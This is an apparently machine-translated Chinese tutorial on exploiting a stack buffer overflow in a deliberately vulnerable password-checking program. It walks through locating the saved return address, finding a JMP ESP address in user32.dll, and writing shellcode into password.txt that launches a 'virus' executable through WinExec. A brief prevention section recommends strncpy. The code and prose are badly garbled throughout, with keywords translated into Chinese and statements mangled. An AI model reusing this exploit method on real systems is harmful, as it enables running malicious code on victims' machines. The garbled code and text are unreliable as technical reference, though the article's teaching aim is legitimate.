如何使用一个简单的程序漏洞反病毒特洛伊木马杀死

如何使用一个简单的程序漏洞反病毒特洛伊木马杀死
计算机已经进入我们的生活,我们的生活,感觉已经离不开计算机和网络,计算机病毒,今天萧边推荐一些计算机病毒防治相关文章,欢迎围观参考,想了解更多,请继续关注。
一、前言
它们中的大多数都是病毒,所有的可执行文件(EXE格式)都是传统意义上的恶意程序。他们是由用户双击,他们开始执行自己的代码来实现相应的功能,从而威胁到用户的电脑上。这一次,我想讨论一种特殊情况,即使用正常的程序漏洞,只有通过文本文件(TXT格式)来实现我们的对话框开始。所以本文的重点是简单的漏洞挖掘和ShellCode实施漏洞的利用。在这里我们将不讨论复杂的情况。我们只使用简单的例子来说明这些问题,因为即使在实际情况下,基本原理也是相似的,这也为以后章节中更复杂的情况奠定了基础。
两。编写包含漏洞的程序
在今天的软件开发中,虽然程序员的水平有所提高,编程技能有所提高,但大多数人对计算机安全的概念仍然含糊不清。人谁真正掌握计算机安全技术还很少。特别是,计算机安全往往涉及系统的基本原理,汇编语言或机器码,这是更可怕的。我在这里要谈的是一个程序,包含一个漏洞,包含一个缓冲区溢出漏洞,缓冲区溢出攻击是很有效和常用的攻击方法,占大多数的漏洞。
以下是本研究的步骤
#包括#包括
#包括#定义密码1234567890
Int CheckPassword(char *文件)
{ int ncheckflag;
焦炭全{ 30 };ncheckflag = strcmp(文件、密码);
Strcpy(全文件); / /有溢流回ncheckflag;
}
int main(){
int nFlag = 0;焦炭szpassword { 1024 };
文件;LoadLibrary(user32. dll);
如果(!(FP = fopen(密码.txt
返回0;}
Fscanf(FP,%s
如果(nFlag){
printf(不正确的密码!;}
别的{
printf(正确的密码!;}
Fclose(FP)getchar();
返回0;}
这里是一个方法来解释程序的运行过程,主要功能将首先开放的password.txt文件的当前目录,然后调用checkPassword函数,字符串的内容功能读出的password.txt文件;1234567890比较,用来验证密码是否正确,然后复制用户输入密码的功能来创建自己的数组,然后返回到主函数,最后将用户输入的密码正确显示
本程序使用txt文件保存用户输入的密码的原因是为了便于讨论和观察。在子功能,用户输入的密码复制到一个数组,只是创建一个缓冲区溢出漏洞,也方便以后的讨论。在现实中,它可能很难发现这样的情况,但原理是相同的。缓冲区溢出漏洞的原因是它无法检测到复制数据的大小,并直接将数据复制到另一个缓冲区,从而使恶意程序有机会攻击。
三、漏洞原理分析。
无论是本文中讨论的最简单的缓冲区溢出漏洞,或复杂的,可能是这堆溢出和SEH利用下一篇文章中讨论的,核心可以说是一个指针的使用(或相应的地址)来做这件事。这个程序,它是必要的以从拆卸点程序执行原则。
其功能是checkPassword主要功能,所以在拆卸,你需要找到该函数的位置,这是简单的:
004010f3 E8 0dffffff电话00401005
一个函数的位置可以很快确定是因为它背后fscanf函数的源程序,所以它的位置也在fscanf。要给一个呼叫的实现原理概述。它分为两个步骤。第一步是按当前指令的定位到内存中的堆栈,这是保存返回地址(通过EIP,即保存的地址电话,EIP栈的下一条指令),第二步是跳到调用函数的入口,进入打电话到下面的反汇编代码:
0040102055 00401021 8bec push ebp mov ebp,esp
00401023 83ec 64个子ESP,64
可以说,每个函数的反汇编结果都是一样的,是三个主要步骤:保存当前栈帧状态值后使用恢复堆栈框架的第一步(ebp栈);第二步将当前堆栈帧切换到新的堆栈(ESP值到EBP,更新底部的堆栈帧);第三步,新的堆栈帧(ESP空间分布减去所需的空间大小,堆栈帧的高度)。
这里需要解释的是,上面的分析是程序的调试版本。如果它是释放,它可能是不同的,由于优化,但它也遵循的基本原则。这里不再讨论发行版了。
现在让我们看看堆栈中的情况。根据内存地址递减序列,EBP位于比较EIP的低内存地址。这两个寄存器堆栈中的紧挨着。看反汇编代码在函数结束的checkPassword:
0040106c 8be5 MOV EBP ESP,0040106e 5d pop ebp
0040106f C3基因
可见,ESP首先指向堆栈帧的底部,然后EBP的值弹出堆栈实现恢复堆栈帧的操作。以下Retn语句弹出堆栈的值(EIP)和执行导演通过EIP的声明,先前调用的下一条语句。
在这最后的分析中,我们可以发现,我们可以跳到我们自己的通过修改存储在EIP的值(指令),病毒代码,和地址的目的。当然,我没有使用反汇编工具来修改它,而是直接利用password.txt文本文件。
四。定位EIP
知道了漏洞利用的原理,然后我们需要确定EIP的位置。虽然EIP的位置可以通过反汇编程序,但我不想用这个简单的方法,我们使用Windows错误对话框定位EIP。当EIP上的地址无效,系统提示错误。错误对话框可以显示哪个地址是植物园错误。这里我们可以通过一些小技巧找到它。
当然,每个人都有自己最好的定位方法。我最喜欢的方式是用26个小写字母,26个大写字母形成一长串的数据来测试,这样我们可以一次52字节长度的测试。具体方法是写这52个字母为password.txt文件,运行程序,看它是否是错误的,如果没有报告错误是的,再写52封信直到报道错误。幸运的是,在这个项目中,前52个字母做出错误的对话框弹出。
我们可以从错误对话框学习,它已覆盖0x5251504f,通过查询ASCII表可以得知,四个字母对应的opqr(小端,我写在这里,使),第四十一到第四十四个字节在EIP位置password.txt文件内容。
确定了EIP的位置,然后确定应分配给它的地址。在这里,当然,你可以使用反汇编软件在程序中找到空闲位置,写代码,然后点了EIP的代码。但在这里我要用更巧妙的方法—mdash;JMP我们可以点EIP JMP ESP在内存中的地址,然后程序本机代码(ShellCode)被从EIP下来(地址高度),所以JMP ESP可以直接跳转到我们的代码执行。
第一个节目是寻找JMP ESP:
#包括#包括
#包括#定义dll_nameuser32. dll
主()
{BYTE *ptr;
Int position, address; HINSTANCE handle;
布尔done_flag = false;处理= LoadLibrary(dll_name);
如果(!手柄){
printf(加载DLL错误!);退出(0);
} ptr =(字节*)处理;
对于(位置= 0;!done_flag;位置+ +)
{试
{如果(PTR {位置} = = 0xff PTR { 1 } = =位置+ 0xe4)
{ int地址=(int)PTR +位置;
printf(0x%x 发现操作码
}捕捉(…)
{ int地址=(int)PTR +位置;
printf(端0x%x
} }。
返回0;}
该计划的结果如下:
上面的程序是寻找JMP ESP user32.dll的机器代码ffe4,会找到很多结果,选择其中的一个。需要说明的是,这里的不同计算机和不同的操作系统版本发现JMP ESP地址可能是不同的。That is to say, the address of JMP ESP is not universal.Of course, there are also several addresses that are cross versions, and this is not discussed here.This time we choose the first address in the screenshot mdash; mdash; 0x77d93ac8.Because it is a small end display, you should write back in the position of ldquo; OPQR; that is, c83ad977.Of course, it can't be edited directly with software like Notepad, but it needs to be operated with a sixteen - band code editor.
五。写ShellCode
为简单起见,我把病毒,程序在同一目录上面的程序漏洞,并为编制方便起见,我改变,Hack.exe.In和名为实现病毒,我不打算直接将病毒和程序到ShellCode。毕竟,工作量太大,但是写一个ShellCode,就可以开始病毒,程序。这里我使用到的功能,病毒的开始,最后用ExitProcess函数实现程序正常退出。代码查询功能处理如下:
#包括#包括
typedef void(* myproc)(LPTSTR);int main()
{ HINSTANCE LibHandle;
myproc procadd;libhandle = LoadLibrary(功能);
获取该user32.dll地址(printf / / / / msvcrt libhandle = X分X,LibHandle);
获取该MessageBoxA / procadd =地址(myproc GetProcAddress()libhandle,到);
printf(系统= / / X分X
返回0;}
结果如下:
上面的过程首先需要知道查询函数所在的动态链接库。首先,找到动态链接库的地址,然后使用这个地址来查询相应的API函数处理。可知,到0x7c863231手柄,然后是功能的手柄0x7c81bfa2。
到目前为止,我们已经有了足够的信息,那么你可以写ShellCode,但总的来说,我们没有刻意去十六进制机器代码的内存,所以要写汇编第一,然后通过相关软件转换,和机器代码的看法。有很多具体的方法,我喜欢写嵌入式汇编语言的形式在VC++ 6:
_asm {
异或ebx,EBX PUSH EBX
推推0x6b636148 0x6578652e
mov eax,ESP;性格Hack.exe出版社
推推eax ebx
mov eax,eax 0x7c863231打电话到功能;
PUSH EBX
mov eax,eax 0x7c81bfa2呼叫;呼叫ExitProcess函数
}
有一个需要转换的ASM内容为机器代码,VC++ 6可以实现(和其他的反汇编软件可以使用),使用十六进制文件编辑器,提取机器码直接装入EIP在password.txt后面。
这里要说明的是,虽然上述只是调用的函数是非常简单的,但事实上,无论是所谓的功能性原理,它是相同的,都是参数从右到左进栈的第一,然后该函数的调用地址。为了提高可移植性,我们可以使用TEB得到相关函数处理,这样写非常多才多艺的ShellCode。这些高级方法可以在稍后讨论,因此可以看出该漏洞很容易被恶意程序利用。
当完成的checkpassword.exe password.txt,运行程序,如下图:
可以看出,只有通过修改password.txt才能有鬼存在启动病毒,即使这个过程中有很多局限性。这里使用到的功能也大多用于下载它是一个单一功能的恶意程序,使受伤的电脑下载更多的恶意程序并运行指定的URL地址的黑客。Ldquo;下载器,是小和容易传播,当它被下载到病毒木马,它通常使用的功能如WinExec运行病毒。
六,病毒预防
漏洞的探索和利用是一个更为深刻的课题,在现实中,其挖掘的难度远高于我在这里所引用的例子,聪明的黑客往往持有一些软件厂商不知道的漏洞。他们经常使用这些软件的漏洞来做他们想做的事。所以,这就要求我们要养成良好的安全代码的习惯。在上面的例子中,该漏洞是由于strcpy函数,使用更具体的,因为我们没有被复制到缓冲区的数据长度的测试,使EIP非法覆盖,跳不应去的位置,不执行的代码实现。现实中的漏洞往往是相同的。所以在这种情况下,我们应该检查数据的长度,至少代替strcpy对strncpy。虽然后者也是危险的,它会复制数据,至少根据需要由程序员的数据量,这是非常安全的。当然,我们的系统版本不断升级,并将继续提高安全性。例如,增加安全性可以更好地防止缓冲区溢出的问题。然而,这是不是绝对安全。毕竟,在进攻与防守的对立统一中,技术是不断进步的,但归根结底,只有在源头上做足够的工作,黑客们才没有出路。
七、总结
本文构建了一个特殊的环境mdash;mdash;一个有漏洞的程序;mdash;mdash;执行;病毒自启动。至于漏洞知识系统是更大和更深刻的,我只能用这个简单的程序看到冰山一角。它需要解释一遍在这里,和现实中的漏洞利用的原理可以说是类似于此的例子。在现实中,我们可能需要写更多的ShellCode将军来实现我们想要完成的功能,这将在以后的文章中讨论。本文仅为更多的未来先进的知识探索的一个良好的基础。
免责声明:本网信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,并请自行核实相关内容。本站不承担此类作品侵权行为的直接责任及连带责任。如若本网有任何内容侵犯您的权益,请及时联系我们,本站将会在24小时内处理完毕。
相关文章
返回顶部